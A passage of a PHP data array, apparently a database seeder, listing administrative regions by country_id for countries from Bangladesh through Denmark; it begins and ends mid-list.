['country_id' => '18', 'name' => 'habiganj'],\n ['country_id' => '18', 'name' => 'jaipur hat'],\n ['country_id' => '18', 'name' => 'jamalpur'],\n ['country_id' => '18', 'name' => 'jessor'],\n ['country_id' => '18', 'name' => 'jhalakati'],\n ['country_id' => '18', 'name' => 'jhanaydah'],\n ['country_id' => '18', 'name' => 'khagrachhari'],\n ['country_id' => '18', 'name' => 'khulna'],\n ['country_id' => '18', 'name' => 'kishorganj'],\n ['country_id' => '18', 'name' => 'koks bazar'],\n ['country_id' => '18', 'name' => 'komilla'],\n ['country_id' => '18', 'name' => 'kurigram'],\n ['country_id' => '18', 'name' => 'kushtiya'],\n ['country_id' => '18', 'name' => 'lakshmipur'],\n ['country_id' => '18', 'name' => 'lalmanir hat'],\n ['country_id' => '18', 'name' => 'madaripur'],\n ['country_id' => '18', 'name' => 'magura'],\n ['country_id' => '18', 'name' => 'maimansingh'],\n ['country_id' => '18', 'name' => 'manikganj'],\n ['country_id' => '18', 'name' => 'maulvi bazar'],\n ['country_id' => '18', 'name' => 'meherpur'],\n ['country_id' => '18', 'name' => 'munshiganj'],\n ['country_id' => '18', 'name' => 'naral'],\n ['country_id' => '18', 'name' => 'narayanganj'],\n ['country_id' => '18', 'name' => 'narsingdi'],\n ['country_id' => '18', 'name' => 'nator'],\n ['country_id' => '18', 'name' => 'naugaon'],\n ['country_id' => '18', 'name' => 'nawabganj'],\n ['country_id' => '18', 'name' => 'netrakona'],\n ['country_id' => '18', 'name' => 'nilphamari'],\n ['country_id' => '18', 'name' => 'noakhali'],\n ['country_id' => '18', 'name' => 'pabna'],\n ['country_id' => '18', 'name' => 'panchagarh'],\n ['country_id' => '18', 'name' => 'patuakhali'],\n ['country_id' => '18', 'name' => 'pirojpur'],\n ['country_id' => '18', 'name' => 'rajbari'],\n ['country_id' => '18', 'name' => 'rajshahi'],\n ['country_id' => '18', 'name' => 'rangamati'],\n ['country_id' => '18', 'name' => 'rangpur'],\n ['country_id' => '18', 'name' => 'satkhira'],\n ['country_id' => '18', 'name' => 'shariatpur'],\n ['country_id' => '18', 'name' => 'sherpur'],\n ['country_id' => '18', 'name' => 'silhat'],\n ['country_id' => '18', 'name' => 'sirajganj'],\n ['country_id' => '18', 'name' => 'sunamganj'],\n ['country_id' => '18', 'name' => 'tangayal'],\n ['country_id' => '18', 'name' => 'thakurgaon'],\n ['country_id' => '19', 'name' => 'christ church'],\n ['country_id' => '19', 'name' => 'saint andrew'],\n ['country_id' => '19', 'name' => 'saint george'],\n ['country_id' => '19', 'name' => 'saint james'],\n ['country_id' => '19', 'name' => 'saint john'],\n ['country_id' => '19', 'name' => 'saint joseph'],\n ['country_id' => '19', 'name' => 'saint lucy'],\n ['country_id' => '19', 'name' => 'saint michael'],\n ['country_id' => '19', 'name' => 'saint peter'],\n ['country_id' => '19', 'name' => 'saint philip'],\n ['country_id' => '19', 'name' => 'saint thomas'],\n ['country_id' => '20', 'name' => 'brest'],\n ['country_id' => '20', 'name' => 'homjel\\''],\n ['country_id' => '20', 'name' => 'hrodna'],\n ['country_id' => '20', 'name' => 'mahiljow'],\n ['country_id' => '20', 'name' => 'mahilyowskaya voblasts'],\n ['country_id' => '20', 'name' => 'minsk'],\n ['country_id' => '20', 'name' => 'minskaja voblasts\\''],\n ['country_id' => '20', 'name' => 'petrik'],\n ['country_id' => '20', 'name' => 'vicebsk'],\n ['country_id' => '21', 'name' => 'antwerpen'],\n ['country_id' => '21', 'name' => 'berchem'],\n ['country_id' => '21', 'name' => 'brabant'],\n ['country_id' => '21', 'name' => 'brabant wallon'],\n ['country_id' => '21', 'name' => 'brussel'],\n ['country_id' => '21', 'name' => 'east flanders'],\n ['country_id' => '21', 'name' => 'hainaut'],\n ['country_id' => '21', 'name' => 'liege'],\n ['country_id' => '21', 'name' => 'limburg'],\n ['country_id' => '21', 'name' => 'luxembourg'],\n ['country_id' => '21', 'name' => 'namur'],\n ['country_id' => '21', 'name' => 'ontario'],\n ['country_id' => '21', 'name' => 'oost-vlaanderen'],\n ['country_id' => '21', 'name' => 'provincie brabant'],\n ['country_id' => '21', 'name' => 'vlaams-brabant'],\n ['country_id' => '21', 'name' => 'wallonne'],\n ['country_id' => '21', 'name' => 'west-vlaanderen'],\n ['country_id' => '22', 'name' => 'belize'],\n ['country_id' => '22', 'name' => 'cayo'],\n ['country_id' => '22', 'name' => 'corozal'],\n ['country_id' => '22', 'name' => 'orange walk'],\n ['country_id' => '22', 'name' => 'stann creek'],\n ['country_id' => '22', 'name' => 'toledo'],\n ['country_id' => '23', 'name' => 'alibori'],\n ['country_id' => '23', 'name' => 'atacora'],\n ['country_id' => '23', 'name' => 'atlantique'],\n ['country_id' => '23', 'name' => 'borgou'],\n ['country_id' => '23', 'name' => 'collines'],\n ['country_id' => '23', 'name' => 'couffo'],\n ['country_id' => '23', 'name' => 'donga'],\n ['country_id' => '23', 'name' => 'littoral'],\n ['country_id' => '23', 'name' => 'mono'],\n ['country_id' => '23', 'name' => 'oueme'],\n ['country_id' => '23', 'name' => 'plateau'],\n ['country_id' => '23', 'name' => 'zou'],\n ['country_id' => '24', 'name' => 'hamilton'],\n ['country_id' => '24', 'name' => 'saint george'],\n ['country_id' => '25', 'name' => 'bumthang'],\n ['country_id' => '25', 'name' => 'chhukha'],\n ['country_id' => '25', 'name' => 'chirang'],\n ['country_id' => '25', 'name' => 'daga'],\n ['country_id' => '25', 'name' => 'geylegphug'],\n ['country_id' => '25', 'name' => 'ha'],\n ['country_id' => '25', 'name' => 'lhuntshi'],\n ['country_id' => '25', 'name' => 'mongar'],\n ['country_id' => '25', 'name' => 'pemagatsel'],\n ['country_id' => '25', 'name' => 'punakha'],\n ['country_id' => '25', 'name' => 'rinpung'],\n ['country_id' => '25', 'name' => 'samchi'],\n ['country_id' => '25', 'name' => 'samdrup jongkhar'],\n ['country_id' => '25', 'name' => 'shemgang'],\n ['country_id' => '25', 'name' => 'tashigang'],\n ['country_id' => '25', 'name' => 'timphu'],\n ['country_id' => '25', 'name' => 'tongsa'],\n ['country_id' => '25', 'name' => 'wangdiphodrang'],\n ['country_id' => '26', 'name' => 'beni'],\n ['country_id' => '26', 'name' => 'chuquisaca'],\n ['country_id' => '26', 'name' => 'cochabamba'],\n ['country_id' => '26', 'name' => 'la paz'],\n ['country_id' => '26', 'name' => 'oruro'],\n ['country_id' => '26', 'name' => 'pando'],\n ['country_id' => '26', 'name' => 'potosi'],\n ['country_id' => '26', 'name' => 'santa cruz'],\n ['country_id' => '26', 'name' => 'tarija'],\n ['country_id' => '27', 'name' => 'federacija bosna i hercegovina'],\n ['country_id' => '27', 'name' => 'republika srpska'],\n ['country_id' => '28', 'name' => 'central bobonong'],\n ['country_id' => '28', 'name' => 'central boteti'],\n ['country_id' => '28', 'name' => 'central mahalapye'],\n ['country_id' => '28', 'name' => 'central serowe-palapye'],\n ['country_id' => '28', 'name' => 'central tutume'],\n ['country_id' => '28', 'name' => 'chobe'],\n ['country_id' => '28', 'name' => 'francistown'],\n ['country_id' => '28', 'name' => 'gaborone'],\n ['country_id' => '28', 'name' => 'ghanzi'],\n ['country_id' => '28', 'name' => 'jwaneng'],\n ['country_id' => '28', 'name' => 'kgalagadi north'],\n ['country_id' => '28', 'name' => 'kgalagadi south'],\n ['country_id' => '28', 'name' => 'kgatleng'],\n ['country_id' => '28', 'name' => 'kweneng'],\n ['country_id' => '28', 'name' => 'lobatse'],\n ['country_id' => '28', 'name' => 'ngamiland'],\n ['country_id' => '28', 'name' => 'ngwaketse'],\n ['country_id' => '28', 'name' => 'north east'],\n ['country_id' => '28', 'name' => 'okavango'],\n ['country_id' => '28', 'name' => 'orapa'],\n ['country_id' => '28', 'name' => 'selibe phikwe'],\n ['country_id' => '28', 'name' => 'south east'],\n ['country_id' => '28', 'name' => 'sowa'],\n ['country_id' => '29', 'name' => 'bouvet island'],\n ['country_id' => '30', 'name' => 'acre'],\n ['country_id' => '30', 'name' => 'alagoas'],\n ['country_id' => '30', 'name' => 'amapa'],\n ['country_id' => '30', 'name' => 'amazonas'],\n ['country_id' => '30', 'name' => 'bahia'],\n ['country_id' => '30', 'name' => 'ceara'],\n ['country_id' => '30', 'name' => 'distrito federal'],\n ['country_id' => '30', 'name' => 'espirito santo'],\n ['country_id' => '30', 'name' => 'estado de sao paulo'],\n ['country_id' => '30', 'name' => 'goias'],\n ['country_id' => '30', 'name' => 'maranhao'],\n ['country_id' => '30', 'name' => 'mato grosso'],\n ['country_id' => '30', 'name' => 'mato grosso do sul'],\n ['country_id' => '30', 'name' => 'minas gerais'],\n ['country_id' => '30', 'name' => 'para'],\n ['country_id' => '30', 'name' => 'paraiba'],\n ['country_id' => '30', 'name' => 'parana'],\n ['country_id' => '30', 'name' => 'pernambuco'],\n ['country_id' => '30', 'name' => 'piaui'],\n ['country_id' => '30', 'name' => 'rio grande do norte'],\n ['country_id' => '30', 'name' => 'rio grande do sul'],\n ['country_id' => '30', 'name' => 'rio de janeiro'],\n ['country_id' => '30', 'name' => 'rondonia'],\n ['country_id' => '30', 'name' => 'roraima'],\n ['country_id' => '30', 'name' => 'santa catarina'],\n ['country_id' => '30', 'name' => 'sao paulo'],\n ['country_id' => '30', 'name' => 'sergipe'],\n ['country_id' => '30', 'name' => 'tocantins'],\n ['country_id' => '31', 'name' => 'british indian ocean territory'],\n ['country_id' => '32', 'name' => 'belait'],\n ['country_id' => '32', 'name' => 'brunei-muara'],\n ['country_id' => '32', 'name' => 'temburong'],\n ['country_id' => '32', 'name' => 'tutong'],\n ['country_id' => '33', 'name' => 'blagoevgrad'],\n ['country_id' => '33', 'name' => 'burgas'],\n ['country_id' => '33', 'name' => 'dobrich'],\n ['country_id' => '33', 'name' => 'gabrovo'],\n ['country_id' => '33', 'name' => 'haskovo'],\n ['country_id' => '33', 'name' => 'jambol'],\n ['country_id' => '33', 'name' => 'kardzhali'],\n ['country_id' => '33', 'name' => 'kjustendil'],\n ['country_id' => '33', 'name' => 'lovech'],\n ['country_id' => '33', 'name' => 'montana'],\n ['country_id' => '33', 'name' => 'oblast sofiya-grad'],\n ['country_id' => '33', 'name' => 'pazardzhik'],\n ['country_id' => '33', 'name' => 'pernik'],\n ['country_id' => '33', 'name' => 'pleven'],\n ['country_id' => '33', 'name' => 'plovdiv'],\n ['country_id' => '33', 'name' => 'razgrad'],\n ['country_id' => '33', 'name' => 'ruse'],\n ['country_id' => '33', 'name' => 'shumen'],\n ['country_id' => '33', 'name' => 'silistra'],\n ['country_id' => '33', 'name' => 'sliven'],\n ['country_id' => '33', 'name' => 'smoljan'],\n ['country_id' => '33', 'name' => 'sofija grad'],\n ['country_id' => '33', 'name' => 'sofijska oblast'],\n ['country_id' => '33', 'name' => 'stara zagora'],\n ['country_id' => '33', 'name' => 'targovishte'],\n ['country_id' => '33', 'name' => 'varna'],\n ['country_id' => '33', 'name' => 'veliko tarnovo'],\n ['country_id' => '33', 'name' => 'vidin'],\n ['country_id' => '33', 'name' => 'vraca'],\n ['country_id' => '33', 'name' => 'yablaniza'],\n ['country_id' => '34', 'name' => 'bale'],\n ['country_id' => '34', 'name' => 'bam'],\n ['country_id' => '34', 'name' => 'bazega'],\n ['country_id' => '34', 'name' => 'bougouriba'],\n ['country_id' => '34', 'name' => 'boulgou'],\n ['country_id' => '34', 'name' => 'boulkiemde'],\n ['country_id' => '34', 'name' => 'comoe'],\n ['country_id' => '34', 'name' => 'ganzourgou'],\n ['country_id' => '34', 'name' => 'gnagna'],\n ['country_id' => '34', 'name' => 'gourma'],\n ['country_id' => '34', 'name' => 'houet'],\n ['country_id' => '34', 'name' => 'ioba'],\n ['country_id' => '34', 'name' => 'kadiogo'],\n ['country_id' => '34', 'name' => 'kenedougou'],\n ['country_id' => '34', 'name' => 'komandjari'],\n ['country_id' => '34', 'name' => 'kompienga'],\n ['country_id' => '34', 'name' => 'kossi'],\n ['country_id' => '34', 'name' => 'kouritenga'],\n ['country_id' => '34', 'name' => 'kourweogo'],\n ['country_id' => '34', 'name' => 'leraba'],\n ['country_id' => '34', 'name' => 'mouhoun'],\n ['country_id' => '34', 'name' => 'nahouri'],\n ['country_id' => '34', 'name' => 'namentenga'],\n ['country_id' => '34', 'name' => 'noumbiel'],\n ['country_id' => '34', 'name' => 'oubritenga'],\n ['country_id' => '34', 'name' => 'oudalan'],\n ['country_id' => '34', 'name' => 'passore'],\n ['country_id' => '34', 'name' => 'poni'],\n ['country_id' => '34', 'name' => 'sanguie'],\n ['country_id' => '34', 'name' => 'sanmatenga'],\n ['country_id' => '34', 'name' => 'seno'],\n ['country_id' => '34', 'name' => 'sissili'],\n ['country_id' => '34', 'name' => 'soum'],\n ['country_id' => '34', 'name' => 'sourou'],\n ['country_id' => '34', 'name' => 'tapoa'],\n ['country_id' => '34', 'name' => 'tuy'],\n ['country_id' => '34', 'name' => 'yatenga'],\n ['country_id' => '34', 'name' => 'zondoma'],\n ['country_id' => '34', 'name' => 'zoundweogo'],\n ['country_id' => '35', 'name' => 'bubanza'],\n ['country_id' => '35', 'name' => 'bujumbura'],\n ['country_id' => '35', 'name' => 'bururi'],\n ['country_id' => '35', 'name' => 'cankuzo'],\n ['country_id' => '35', 'name' => 'cibitoke'],\n ['country_id' => '35', 'name' => 'gitega'],\n ['country_id' => '35', 'name' => 'karuzi'],\n ['country_id' => '35', 'name' => 'kayanza'],\n ['country_id' => '35', 'name' => 'kirundo'],\n ['country_id' => '35', 'name' => 'makamba'],\n ['country_id' => '35', 'name' => 'muramvya'],\n ['country_id' => '35', 'name' => 'muyinga'],\n ['country_id' => '35', 'name' => 'ngozi'],\n ['country_id' => '35', 'name' => 'rutana'],\n ['country_id' => '35', 'name' => 'ruyigi'],\n ['country_id' => '36', 'name' => 'banteay mean chey'],\n ['country_id' => '36', 'name' => 'bat dambang'],\n ['country_id' => '36', 'name' => 'kampong cham'],\n ['country_id' => '36', 'name' => 'kampong chhnang'],\n ['country_id' => '36', 'name' => 'kampong spoeu'],\n ['country_id' => '36', 'name' => 'kampong thum'],\n ['country_id' => '36', 'name' => 'kampot'],\n ['country_id' => '36', 'name' => 'kandal'],\n ['country_id' => '36', 'name' => 'kaoh kong'],\n ['country_id' => '36', 'name' => 'kracheh'],\n ['country_id' => '36', 'name' => 'krong kaeb'],\n ['country_id' => '36', 'name' => 'krong pailin'],\n ['country_id' => '36', 'name' => 'krong preah sihanouk'],\n ['country_id' => '36', 'name' => 'mondol kiri'],\n ['country_id' => '36', 'name' => 'otdar mean chey'],\n ['country_id' => '36', 'name' => 'phnum penh'],\n ['country_id' => '36', 'name' => 'pousat'],\n ['country_id' => '36', 'name' => 'preah vihear'],\n ['country_id' => '36', 'name' => 'prey veaeng'],\n ['country_id' => '36', 'name' => 'rotanak kiri'],\n ['country_id' => '36', 'name' => 'siem reab'],\n ['country_id' => '36', 'name' => 'stueng traeng'],\n ['country_id' => '36', 'name' => 'svay rieng'],\n ['country_id' => '36', 'name' => 'takaev'],\n ['country_id' => '37', 'name' => 'adamaoua'],\n ['country_id' => '37', 'name' => 'centre'],\n ['country_id' => '37', 'name' => 'est'],\n ['country_id' => '37', 'name' => 'littoral'],\n ['country_id' => '37', 'name' => 'nord'],\n ['country_id' => '37', 'name' => 'nord extreme'],\n ['country_id' => '37', 'name' => 'nordouest'],\n ['country_id' => '37', 'name' => 'ouest'],\n ['country_id' => '37', 'name' => 'sud'],\n ['country_id' => '37', 'name' => 'sudouest'],\n ['country_id' => '38', 'name' => 'alberta'],\n ['country_id' => '38', 'name' => 'british columbia'],\n ['country_id' => '38', 'name' => 'manitoba'],\n ['country_id' => '38', 'name' => 'new brunswick'],\n ['country_id' => '38', 'name' => 'newfoundland and labrador'],\n ['country_id' => '38', 'name' => 'northwest territories'],\n ['country_id' => '38', 'name' => 'nova scotia'],\n ['country_id' => '38', 'name' => 'nunavut'],\n ['country_id' => '38', 'name' => 'ontario'],\n ['country_id' => '38', 'name' => 'prince edward island'],\n ['country_id' => '38', 'name' => 'quebec'],\n ['country_id' => '38', 'name' => 'saskatchewan'],\n ['country_id' => '38', 'name' => 'yukon'],\n ['country_id' => '39', 'name' => 'boavista'],\n ['country_id' => '39', 'name' => 'brava'],\n ['country_id' => '39', 'name' => 'fogo'],\n ['country_id' => '39', 'name' => 'maio'],\n ['country_id' => '39', 'name' => 'sal'],\n ['country_id' => '39', 'name' => 'santo antao'],\n ['country_id' => '39', 'name' => 'sao nicolau'],\n ['country_id' => '39', 'name' => 'sao tiago'],\n ['country_id' => '39', 'name' => 'sao vicente'],\n ['country_id' => '40', 'name' => 'grand cayman'],\n ['country_id' => '41', 'name' => 'bamingui-bangoran'],\n ['country_id' => '41', 'name' => 'bangui'],\n ['country_id' => '41', 'name' => 'basse-kotto'],\n ['country_id' => '41', 'name' => 'haut-mbomou'],\n ['country_id' => '41', 'name' => 'haute-kotto'],\n ['country_id' => '41', 'name' => 'kemo'],\n ['country_id' => '41', 'name' => 'lobaye'],\n ['country_id' => '41', 'name' => 'mambere-kadei'],\n ['country_id' => '41', 'name' => 'mbomou'],\n ['country_id' => '41', 'name' => 'nana-gribizi'],\n ['country_id' => '41', 'name' => 'nana-mambere'],\n ['country_id' => '41', 'name' => 'ombella mpoko'],\n ['country_id' => '41', 'name' => 'ouaka'],\n ['country_id' => '41', 'name' => 'ouham'],\n ['country_id' => '41', 'name' => 'ouham-pende'],\n ['country_id' => '41', 'name' => 'sangha-mbaere'],\n ['country_id' => '41', 'name' => 'vakaga'],\n ['country_id' => '42', 'name' => 'batha'],\n ['country_id' => '42', 'name' => 'biltine'],\n ['country_id' => '42', 'name' => 'bourkou-ennedi-tibesti'],\n ['country_id' => '42', 'name' => 'chari-baguirmi'],\n ['country_id' => '42', 'name' => 'guera'],\n ['country_id' => '42', 'name' => 'kanem'],\n ['country_id' => '42', 'name' => 'lac'],\n ['country_id' => '42', 'name' => 'logone occidental'],\n ['country_id' => '42', 'name' => 'logone oriental'],\n ['country_id' => '42', 'name' => 'mayo-kebbi'],\n ['country_id' => '42', 'name' => 'moyen-chari'],\n ['country_id' => '42', 'name' => 'ouaddai'],\n ['country_id' => '42', 'name' => 'salamat'],\n ['country_id' => '42', 'name' => 'tandjile'],\n ['country_id' => '43', 'name' => 'aisen'],\n ['country_id' => '43', 'name' => 'antofagasta'],\n ['country_id' => '43', 'name' => 'araucania'],\n ['country_id' => '43', 'name' => 'atacama'],\n ['country_id' => '43', 'name' => 'bio bio'],\n ['country_id' => '43', 'name' => 'coquimbo'],\n ['country_id' => '43', 'name' => 'libertador general bernardo o\\''],\n ['country_id' => '43', 'name' => 'los lagos'],\n ['country_id' => '43', 'name' => 'magellanes'],\n ['country_id' => '43', 'name' => 'maule'],\n ['country_id' => '43', 'name' => 'metropolitana'],\n ['country_id' => '43', 'name' => 'metropolitana de santiago'],\n ['country_id' => '43', 'name' => 'tarapaca'],\n ['country_id' => '43', 'name' => 'valparaiso'],\n ['country_id' => '44', 'name' => 'anhui'],\n ['country_id' => '44', 'name' => 'anhui province'],\n ['country_id' => '44', 'name' => 'anhui sheng'],\n ['country_id' => '44', 'name' => 'aomen'],\n ['country_id' => '44', 'name' => 'beijing'],\n ['country_id' => '44', 'name' => 'beijing shi'],\n ['country_id' => '44', 'name' => 'chongqing'],\n ['country_id' => '44', 'name' => 'fujian'],\n ['country_id' => '44', 'name' => 'fujian sheng'],\n ['country_id' => '44', 'name' => 'gansu'],\n ['country_id' => '44', 'name' => 'guangdong'],\n ['country_id' => '44', 'name' => 'guangdong sheng'],\n ['country_id' => '44', 'name' => 'guangxi'],\n ['country_id' => '44', 'name' => 'guizhou'],\n ['country_id' => '44', 'name' => 'hainan'],\n ['country_id' => '44', 'name' => 'hebei'],\n ['country_id' => '44', 'name' => 'heilongjiang'],\n ['country_id' => '44', 'name' => 'henan'],\n ['country_id' => '44', 'name' => 'hubei'],\n ['country_id' => '44', 'name' => 'hunan'],\n ['country_id' => '44', 'name' => 'jiangsu'],\n ['country_id' => '44', 'name' => 'jiangsu sheng'],\n ['country_id' => '44', 'name' => 'jiangxi'],\n ['country_id' => '44', 'name' => 'jilin'],\n ['country_id' => '44', 'name' => 'liaoning'],\n ['country_id' => '44', 'name' => 'liaoning sheng'],\n ['country_id' => '44', 'name' => 'nei monggol'],\n ['country_id' => '44', 'name' => 'ningxia hui'],\n ['country_id' => '44', 'name' => 'qinghai'],\n ['country_id' => '44', 'name' => 'shaanxi'],\n ['country_id' => '44', 'name' => 'shandong'],\n ['country_id' => '44', 'name' => 'shandong sheng'],\n ['country_id' => '44', 'name' => 'shanghai'],\n ['country_id' => '44', 'name' => 'shanxi'],\n ['country_id' => '44', 'name' => 'sichuan'],\n ['country_id' => '44', 'name' => 'tianjin'],\n ['country_id' => '44', 'name' => 'xianggang'],\n ['country_id' => '44', 'name' => 'xinjiang'],\n ['country_id' => '44', 'name' => 'xizang'],\n ['country_id' => '44', 'name' => 'yunnan'],\n ['country_id' => '44', 'name' => 'zhejiang'],\n ['country_id' => '44', 'name' => 'zhejiang sheng'],\n ['country_id' => '45', 'name' => 'christmas island'],\n ['country_id' => '46', 'name' => 'cocos (keeling) islands'],\n ['country_id' => '47', 'name' => 'amazonas'],\n ['country_id' => '47', 'name' => 'antioquia'],\n ['country_id' => '47', 'name' => 'arauca'],\n ['country_id' => '47', 'name' => 'atlantico'],\n ['country_id' => '47', 'name' => 'bogota'],\n ['country_id' => '47', 'name' => 'bolivar'],\n ['country_id' => '47', 'name' => 'boyaca'],\n ['country_id' => '47', 'name' => 'caldas'],\n ['country_id' => '47', 'name' => 'caqueta'],\n ['country_id' => '47', 'name' => 'casanare'],\n ['country_id' => '47', 'name' => 'cauca'],\n ['country_id' => '47', 'name' => 'cesar'],\n ['country_id' => '47', 'name' => 'choco'],\n ['country_id' => '47', 'name' => 'cordoba'],\n ['country_id' => '47', 'name' => 'cundinamarca'],\n ['country_id' => '47', 'name' => 'guainia'],\n ['country_id' => '47', 'name' => 'guaviare'],\n ['country_id' => '47', 'name' => 'huila'],\n ['country_id' => '47', 'name' => 'la guajira'],\n ['country_id' => '47', 'name' => 'magdalena'],\n ['country_id' => '47', 'name' => 'meta'],\n ['country_id' => '47', 'name' => 'narino'],\n ['country_id' => '47', 'name' => 'norte de santander'],\n ['country_id' => '47', 'name' => 'putumayo'],\n ['country_id' => '47', 'name' => 'quindio'],\n ['country_id' => '47', 'name' => 'risaralda'],\n ['country_id' => '47', 'name' => 'san andres y providencia'],\n ['country_id' => '47', 'name' => 'santander'],\n ['country_id' => '47', 'name' => 'sucre'],\n ['country_id' => '47', 'name' => 'tolima'],\n ['country_id' => '47', 'name' => 'valle del cauca'],\n ['country_id' => '47', 'name' => 'vaupes'],\n ['country_id' => '47', 'name' => 'vichada'],\n ['country_id' => '48', 'name' => 'mwali'],\n ['country_id' => '48', 'name' => 'njazidja'],\n ['country_id' => '48', 'name' => 'nzwani'],\n ['country_id' => '49', 'name' => 'bouenza'],\n ['country_id' => '49', 'name' => 'brazzaville'],\n ['country_id' => '49', 'name' => 'cuvette'],\n ['country_id' => '49', 'name' => 'kouilou'],\n ['country_id' => '49', 'name' => 'lekoumou'],\n ['country_id' => '49', 'name' => 'likouala'],\n ['country_id' => '49', 'name' => 'niari'],\n ['country_id' => '49', 'name' => 'plateaux'],\n ['country_id' => '49', 'name' => 'pool'],\n ['country_id' => '49', 'name' => 'sangha'],\n ['country_id' => '50', 'name' => 'bandundu'],\n ['country_id' => '50', 'name' => 'bas-congo'],\n ['country_id' => '50', 'name' => 'equateur'],\n ['country_id' => '50', 'name' => 'haut-congo'],\n ['country_id' => '50', 'name' => 'kasai-occidental'],\n ['country_id' => '50', 'name' => 'kasai-oriental'],\n ['country_id' => '50', 'name' => 'katanga'],\n ['country_id' => '50', 'name' => 'kinshasa'],\n ['country_id' => '50', 'name' => 'maniema'],\n ['country_id' => '50', 'name' => 'nord-kivu'],\n ['country_id' => '50', 'name' => 'sud-kivu'],\n ['country_id' => '51', 'name' => 'aitutaki'],\n ['country_id' => '51', 'name' => 'atiu'],\n ['country_id' => '51', 'name' => 'mangaia'],\n ['country_id' => '51', 'name' => 'manihiki'],\n ['country_id' => '51', 'name' => 'mauke'],\n ['country_id' => '51', 'name' => 'mitiaro'],\n ['country_id' => '51', 'name' => 'nassau'],\n ['country_id' => '51', 'name' => 'pukapuka'],\n ['country_id' => '51', 'name' => 'rakahanga'],\n ['country_id' => '51', 'name' => 'rarotonga'],\n ['country_id' => '51', 'name' => 'tongareva'],\n ['country_id' => '52', 'name' => 'alajuela'],\n ['country_id' => '52', 'name' => 'cartago'],\n ['country_id' => '52', 'name' => 'guanacaste'],\n ['country_id' => '52', 'name' => 'heredia'],\n ['country_id' => '52', 'name' => 'limon'],\n ['country_id' => '52', 'name' => 'puntarenas'],\n ['country_id' => '52', 'name' => 'san jose'],\n ['country_id' => '53', 'name' => 'abidjan'],\n ['country_id' => '53', 'name' => 'agneby'],\n ['country_id' => '53', 'name' => 'bafing'],\n ['country_id' => '53', 'name' => 'denguele'],\n ['country_id' => '53', 'name' => 'dix-huit montagnes'],\n ['country_id' => '53', 'name' => 'fromager'],\n ['country_id' => '53', 'name' => 'haut-sassandra'],\n ['country_id' => '53', 'name' => 'lacs'],\n ['country_id' => '53', 'name' => 'lagunes'],\n ['country_id' => '53', 'name' => 'marahoue'],\n ['country_id' => '53', 'name' => 'moyen-cavally'],\n ['country_id' => '53', 'name' => 'moyen-comoe'],\n ['country_id' => '53', 'name' => 'n\\'zi-comoe'],\n ['country_id' => '53', 'name' => 'sassandra'],\n ['country_id' => '53', 'name' => 'savanes'],\n ['country_id' => '53', 'name' => 'sud-bandama'],\n ['country_id' => '53', 'name' => 'sud-comoe'],\n ['country_id' => '53', 'name' => 'vallee du bandama'],\n ['country_id' => '53', 'name' => 'worodougou'],\n ['country_id' => '53', 'name' => 'zanzan'],\n ['country_id' => '54', 'name' => 'bjelovar-bilogora'],\n ['country_id' => '54', 'name' => 'dubrovnik-neretva'],\n ['country_id' => '54', 'name' => 'grad zagreb'],\n ['country_id' => '54', 'name' => 'istra'],\n ['country_id' => '54', 'name' => 'karlovac'],\n ['country_id' => '54', 'name' => 'koprivnica-krizhevci'],\n ['country_id' => '54', 'name' => 'krapina-zagorje'],\n ['country_id' => '54', 'name' => 'lika-senj'],\n ['country_id' => '54', 'name' => 'medhimurje'],\n ['country_id' => '54', 'name' => 'medimurska zupanija'],\n ['country_id' => '54', 'name' => 'osijek-baranja'],\n ['country_id' => '54', 'name' => 'osjecko-baranjska zupanija'],\n ['country_id' => '54', 'name' => 'pozhega-slavonija'],\n ['country_id' => '54', 'name' => 'primorje-gorski kotar'],\n ['country_id' => '54', 'name' => 'shibenik-knin'],\n ['country_id' => '54', 'name' => 'sisak-moslavina'],\n ['country_id' => '54', 'name' => 'slavonski brod-posavina'],\n ['country_id' => '54', 'name' => 'split-dalmacija'],\n ['country_id' => '54', 'name' => 'varazhdin'],\n ['country_id' => '54', 'name' => 'virovitica-podravina'],\n ['country_id' => '54', 'name' => 'vukovar-srijem'],\n ['country_id' => '54', 'name' => 'zadar'],\n ['country_id' => '54', 'name' => 'zagreb'],\n ['country_id' => '55', 'name' => 'camaguey'],\n ['country_id' => '55', 'name' => 'ciego de avila'],\n ['country_id' => '55', 'name' => 'cienfuegos'],\n ['country_id' => '55', 'name' => 'ciudad de la habana'],\n ['country_id' => '55', 'name' => 'granma'],\n ['country_id' => '55', 'name' => 'guantanamo'],\n ['country_id' => '55', 'name' => 'habana'],\n ['country_id' => '55', 'name' => 'holguin'],\n ['country_id' => '55', 'name' => 'isla de la juventud'],\n ['country_id' => '55', 'name' => 'la habana'],\n ['country_id' => '55', 'name' => 'las tunas'],\n ['country_id' => '55', 'name' => 'matanzas'],\n ['country_id' => '55', 'name' => 'pinar del rio'],\n ['country_id' => '55', 'name' => 'sancti spiritus'],\n ['country_id' => '55', 'name' => 'santiago de cuba'],\n ['country_id' => '55', 'name' => 'villa clara'],\n ['country_id' => '56', 'name' => 'government controlled area'],\n ['country_id' => '56', 'name' => 'limassol'],\n ['country_id' => '56', 'name' => 'nicosia district'],\n ['country_id' => '56', 'name' => 'paphos'],\n ['country_id' => '56', 'name' => 'turkish controlled area'],\n ['country_id' => '57', 'name' => 'central bohemian'],\n ['country_id' => '57', 'name' => 'frycovice'],\n ['country_id' => '57', 'name' => 'jihocesky kraj'],\n ['country_id' => '57', 'name' => 'jihochesky'],\n ['country_id' => '57', 'name' => 'jihomoravsky'],\n ['country_id' => '57', 'name' => 'karlovarsky'],\n ['country_id' => '57', 'name' => 'klecany'],\n ['country_id' => '57', 'name' => 'kralovehradecky'],\n ['country_id' => '57', 'name' => 'liberecky'],\n ['country_id' => '57', 'name' => 'lipov'],\n ['country_id' => '57', 'name' => 'moravskoslezsky'],\n ['country_id' => '57', 'name' => 'olomoucky'],\n ['country_id' => '57', 'name' => 'olomoucky kraj'],\n ['country_id' => '57', 'name' => 'pardubicky'],\n ['country_id' => '57', 'name' => 'plzensky'],\n ['country_id' => '57', 'name' => 'praha'],\n ['country_id' => '57', 'name' => 'rajhrad'],\n ['country_id' => '57', 'name' => 'smirice'],\n ['country_id' => '57', 'name' => 'south moravian'],\n ['country_id' => '57', 'name' => 'straz nad nisou'],\n ['country_id' => '57', 'name' => 'stredochesky'],\n ['country_id' => '57', 'name' => 'unicov'],\n ['country_id' => '57', 'name' => 'ustecky'],\n ['country_id' => '57', 'name' => 'valletta'],\n ['country_id' => '57', 'name' => 'velesin'],\n ['country_id' => '57', 'name' => 'vysochina'],\n ['country_id' => '57', 'name' => 'zlinsky'],\n ['country_id' => '58', 'name' => 'arhus'],\n ['country_id' => '58', 'name' => 'bornholm'],\n ['country_id' => 